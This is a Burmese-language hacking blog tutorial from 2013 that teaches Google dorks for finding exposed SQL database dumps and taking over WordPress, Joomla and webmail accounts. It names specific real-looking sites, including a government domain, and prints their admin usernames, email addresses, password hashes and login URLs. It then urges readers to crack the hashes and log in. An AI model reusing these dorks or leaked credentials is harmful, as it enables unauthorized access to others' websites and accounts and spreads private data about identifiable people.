[Website & Accounts Hacking]

[Zero Day Hacking]

5/6/2013

Min Soe Yar Sar

www.minsoeyarsar.blogspot.com

ZerO Day Hacking From MSPS

Written By Min Soe Par Sar

www.minsoeyarsar.com

Dork တွေကိုသုံးပြီး Accounts တွေ Website တွေကို ဘယ်လို ဟက်ကြမလဲ..

ဆိုတာလေးပေါ့... အားလုံးဘဲ စိတ်ဝင်စားလိမ့်မယ်လို့ ကျွန်တော် မျှော်လင့်ပါတယ်..

Hacking ပိုင်းကို လေ့လာလို့ နည်းနည်းလေး ပါလေးရလာပီဆို ရင်

အများစုက Dork ဆို တာကြီးကို ခလေး အထာ (ခလေး အကွက်တွေလို့ ထင်ထားကြပါ).. တကယ်တန်းတော့ အားလုံးက သူ့ နေရာနဲ့ သူပါ..

Dorking ပိုင်း စိတ်ဝင်စားလို့ စလေ့လာမယ်ဆိုရင်တော့ လိုအပ်တာလေးကတော့...

[+] 1. တွေးတော တတ်တဲ့ ဦးနှောက်ရှိရမယ်..

[+] 2. ဖြတ်ထိုးဉာဏ် ကောင်းရမယ်..

[+] 3. Hacking နဲ့ ပတ်သက်ပြီး အတွေ့ အကြုံ ရှိရပါမယ်...

ဒီ ၃ ချက်သာ သင့်မှာရှိနေရင် Dork တွေကို ကိုယ်ပိုင် ဖန်တီးနိုင်မှာဖြစ်သလို...

ခက်ခဲမယ် ထင်တဲ့ အရာတွေက လွယ်ကူသွားစေတတ်ပါတယ်.. (အမြဲတော့မဟုတ်ပါဘူး အများစု မှာပေါ့)

ကဲကောင်းပီ... ကျွန်တော် FB Group လေးတစ်ခုမှာ ညီကို တွေကို Hacking ဆိုင်ရာ ဗဟုသုတ တွေ

ကျွန်တော် တွေ့ ကြုံဖူးသမျှ တွေနဲ့ ကျွန်တော် တတ်ထားတဲ့ပညာလေး မတောက်တစ်ခေါက်ကို ရွဲဖူးပါတယ်.. ဒီအချိန်မှာ ညီလေးတစ်ယောက် ကြိုးစားပန်းစားဟက်နေတဲ့ဆိုဒ်တစ်ခုပါ..သူအတွက် အတော်လေး ခက်ခဲပေမယ့် ခုနည်းနဲ့ ကျွန်တော်အတွက် ၂ မိနစ် လောက်သာကြာသွားပါတယ်.. Admin , User:Pass တွေ အလွယ်တကူရခဲ့ပါတယ်..

ဒါက တစ်ပိုင်းပါ.. နောက်တစ်ခါ Account တွေကို လူတစ်ယောက်နဲ့ ပြိုင်ပြီး attack လုပ်ဖူးပါတယ်..

ဒီတုန်းကလည်း ကျွန်တော် Dork ကိုသာ သုံးသွားတာပါ... ကျွန်တော် သူ့ ထက် အကောင်းများများ attack လုပ်နိုင်ဖူးပါတယ်... ဒါတွေကလည်း ခုနည်းကိုသုံးခဲ့ဖူးလို့ ပါဘဲ..

ကဲ စရအောင်ဗျာ...

ခုနည်းကိုတော့ Account & Website Hacking (0day) လေးတစ်ခုလို့ ကျွန်တော် ယူဆထားတာလေးပါ..

အရင်ဆုံး ဆိုဒ်တွေရဲ့ အက်မင် User:Pass တွေကို စလုပ်ကြတာပေါ့ဗျာ..

[+] Dork: ext:sql intext:`wp_users` `user_login`, `user_pass`

ဒီနေရာမှာ ext ဆိုတာက File Extension ဆိုကိုဆိုလိုတာပါ.. အိုကေ File Extension ဆိုတာဘာလဲ..

ဥပမာ.. လူအများသိတဲ့ Dota Game ဖိုင်ဆိုပါတော.. ဒါဆို သူ့ file extension က exe ပါ..

ဒါမှဟုတ် NOtepad ဖိုင်တွေဆို သူ file extension က txt ပါ...

ဒီလိုပါဘဲ..

Website အများ စုမှာ.. .sql ဆိုတဲ့ File Extension နေရာဟာလွန်စွာ အရေးပါလှပါတယ်..

ဘာလို့ လဲဆိုတော့ အဲ့ .sql ဆိုတဲ့ ဖိုင်တစ်ချို့ ဟာ ဆိုဒ်တစ်ခုလုံးကို ထိန်းချုပ်ထားတဲ့ Admin တစ်ယောက်ရဲ့ Data အများစု သွားရောက်သိုလှောင်ထားတဲ့ နေရာမို့ လို့ ပါဘဲ..

Site ရဲ့ Administrator User Name : Password တွေက အစပေါ့ဗျာ..

ဒါပေမယ့်ခုနည်း တွေကတော့.. Website တစ်ခုရဲ့ Database(DB) တွေတည်းဂင်ရောက်ဖူးတဲ့

သူများအတွက် တော့ ပိုအဆင်ပြေနိုင်ပါတယ်...

ကဲ ခုနည်းနည်းလေးစလိုက်ရအောင်ဗျာ..

[+] www.google.com ကိုသွားလိုက်ပါ...

[+] ext:sql intext:`wp_users`

ဆိုတာလေးကို ထည့်လိုက်ပါ... အားပါး... မြင်လားတော့မသိဘူးဗျ

...

အားပါး ကြိုက်တဲ့လင့်တစ်ခုကိုနှိပ်လိုက်ပါ..

ဥပမာပေးရရင်...

[+]Demo

[+] http://asia-spice.co.uk/india.sql

ကဲ သူငယ်ချင်းတို့ မြင်တွေ့ ရာမှာကတော့ ဘာတွေမှန်းမသိဘူးဆိုတဲ့ Code တွေပါ...

ဒါပေမယ့်.. Ctrl+f နှိပ်ပြီး _users လို့ ထည့်ရှာလိုက်ရင်တွေ့ ဂုမှာဖြစ်ပါတယ်... အောက်ကဥပမာ ကြည့်တာပေါ့...

INSERT INTO `wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (1, 'admin', 'PBubDNW5YEufyKsP7Qs0yzchz8tk4ml.', 'admin', 'prabal@looogobd.com', '', '2011-02-02 14:22:20', '', 0, 'admin');

So.. So... So... "လဲလဲလဲလဲလဲလဲ"

[+] http://www.asia-spice.co.uk

[+] Admin Page : http://www.asia-spice.co.uk/wp-admin

[+] User : admin

[+] Pass : PBubDNW5YEufyKsP7Qs0yzchz8tk4ml (MD 5 လေးတော့ဖြည်ပေါ့ဗျာ)

ဒါလေးကတော့ wordpress ဆိုဒ်ကို လုပ်သွားတာလေးပါ... ...

အိုကေ Joomla Website ကိုလည်း လုပ်ကြည့်ရအောင်ဗျာ.. ဒေါ့်လေး စရေးကြမယ်..

wordpress ဆိုဒ်ဆို wp_users လို့ သုံးပါတယ်...

Joomla ဆိုဒ်မှာဆိုရင် jos_users လို့ သုံးပါတယ်.. ဒီတော့သင့် ဦးနှောက်ကို အရင်စမ်းသပ်ပါ....

Dork ကို သင်ဘယ်လို ရေးရမလဲဆိုတာကို... စမ်းသပ်ကြည့်ပါ.. ပြီးမှ အောက်က Dork ကိုကြည့်ပါ...

[+] Dork : ext:sql intext:`jos_users`

အိုကေ ပုံမှန်တိုင်းပါဘဲ.. မိမိ စိတ်ကြိုက်လင့်တစ်ခုကို ရယူလိုက်ပါ..

ဥပမာပေးရရင်..တော့ အောက်ကလင့်ပေါ့ဗျာ..

[+] http://www.nape.gov.bd/ssdemo_nape.sql

ဆိုပါတော့ Ctrl+f ကိုနှိပ်ပြီး table jos_users လို့ ထည့်ရှာလိုက်ပါ..

အားပါးအောက်ဆုံးနားလေးမှာတွေ့ နေရပါပြီ...

မြင်လားတော့မသိဘူးဗျ ...
INSERT INTO `jos_users` (`id`, `name`, `username`, `email`, `password`, `usertype`, `block`, `sendEmail`, `gid`, `registerDate`, `lastvisitDate`, `activation`, `params`) VALUES
(62, 'Administrator', 'admin', 'abc@yahoo.com',
'1c593b301f5b54004f59dec08f966bcb:DDg8EdtaoX2M4ta6zAkkriJcbzBchX5a', 'Super Administrator', 0, 1,
25, '2011-11-30 15:36:33', '2011-12-11 14:37:58', '',
'admin_language=\nlanguage=\neditor=\nhelpsite=\ntimezone=0\n\n'),
(63, 'Shuvo', 'ssshuvo', 'shuvo@yahoo.com',
'82bf62a9f84ca409800aafca388ececd:4Etey3jMyOllDVqggYvAmrG9XLShFoHQ', 'Registered', 0, 0, 18,
'2011-12-01 10:19:55', '2011-12-01 10:39:43', '96b8a810f2b3a2c3fe34c9938f1453ed', '\n');

အတောင့်လိုက်တွေ့ ထွက်လာပါတယ်..

[+] Demo
[+] http://www.nape.gov.bd
[+] http://www.nape.gov.bd/administrator/
[+] User : abc@yahoo.com / Pass:
1c593b301f5b54004f59dec08f966bcb:DDg8EdtaoX2M4ta6zAkkriJcbzBchX5a (MD5)
[+] User : shuvo@yahoo.com / Pass:
82bf62a9f84ca409800aafca388ececd:4Etey3jMyOllDVqggYvAmrG9XLShFoHQ (MD5)

ကဲ... မြင်တဲ့အတိုင်းဘဲဗျာ.. ခုပြသွားတာက wordpress / Joomla တို့ ဘဲဖြစ်ပါတယ်...
ဒါလေးက လူအများစုသိတော့ ဥပမာ ပေးရတာပိုအဆင်ပြေမယ်ထင်လို့ ပါ..
တစ်ခြားဆိုဒ်တွေကိုလည်း အခဲ့လို ပါဘဲ... သူငယ်ချင်းတို့ ကို ကျွန်တော်ပြောခဲ့သလိုပေါ့ဗျာ...
ဦးနှောက်ပေါ့ အပေါ်က အချက်သုံးချက် နဲ့ သာဆိုရင် မီးပွင့်ထွက်အောင် ဟက်လို့ ရပါတယ်...

Web hacking ပိုင်းလေးပြီးပြီ ဆိုတော့ Accounts တွေကို ဟက်ကြည့်ရအောင်ဗျာ..
:')

Account HackinG with Dorks :P

Hack လိုက်ကြတာများ တဖွဖွ ဘဲ ဗျာ။ ကျွန်တော်ကတော့ Dork လေး တစ်ချက်ရမ်းပြပေးပါ့မယ်။

တကယ်တန်းတော့ account တွေ Hack တယ် ဆိုတာ ပျင်းဖို့ ကောင်း ပါတယ်။ ဗဟုသုတ အနေနဲ့

ထပ်ဖြည့်ပြီးပြောပေးပါ့မယ်..။ အကောင့်တစ်ခုကိုHack ဖို့ ရည်ရွယ်ထားတယ်ဆိုပါတော့ဗျာ။ အရင်

ဆုံး Track လိုက်ကြည့်မယ်။ ပြီးရင် သူ့ အကောင့်နဲ့ ချိတ် ဆက်ထားတဲ့လင့်တွေကို ကြည့်မယ်။ပြီးတော့ အဲ့ဆိုဒ်ကို စမ်းကြည့်ပေါ့ ။

အဲ့ဆိုဒ်ပါ ပေါက်သွားဂျင် တစ်ချက်ခုတ် နှစ်ချက်ပျက်ဘဲ။ ကဲ အခုနည်းကို စလိုက်အုံးမယ်။

[+] Google Dork : ext:sql intext:@hotmail.com intext:e10adc3949ba59abbe56e057f20f883e

(သို့ မဟုတ်)

[+] ext:sql intext:"INSERT INTO" intext:@hotmail.com intext:password

(သို့ မဟုတ်)

[+] ext:sql intext:@hotmail.com intext:password

hotamil.com နေရာမှာ gmail.com ဆိုလည်း အလုပ်လုပ်သေးတယ်နော်။

အင်းကြိုက်တဲ့လင့်သာနိုပ်ချလိုက်ဗျာ. http://reflets.info/hcsr.gov.sy_users.sql ဘဲ
ဆိုကြပါစို့ ဗျာ... မြင်တယ်နော် အကောင့်တွေပလူပျံနေတာဘဲ။

username : souheilhanna@baath.shern.net

Password : e10adc3949ba59abbe56e057f20f883e

ပတ်စပေါ့ က ဒီတိုင်းထည့်လို့ မရသေးဘူးနော် hash (md5) ဖြည်ရပါအုံးမယ်.

ကျွန်တော့်ဆိုဒ်(www.minsoeyarsar.blogspot.com) ရဲ့ label တည်းမှာ md5cracker ဆိုတဲ့
ဟာတည်းမှာကြိုက်တဲ့လင့်ကိုအသုံးပြု ပြီး ခရက်နိုင်ပါတယ်.

ပြီးရင်တော့ စမ်းပင်ကြည့်ပေါ့ဗျာ..

www.minsoeyarsar.blogspot.com

Myanmar0boy@G-Ma!l.C›m

Min Soe Yar Sar…….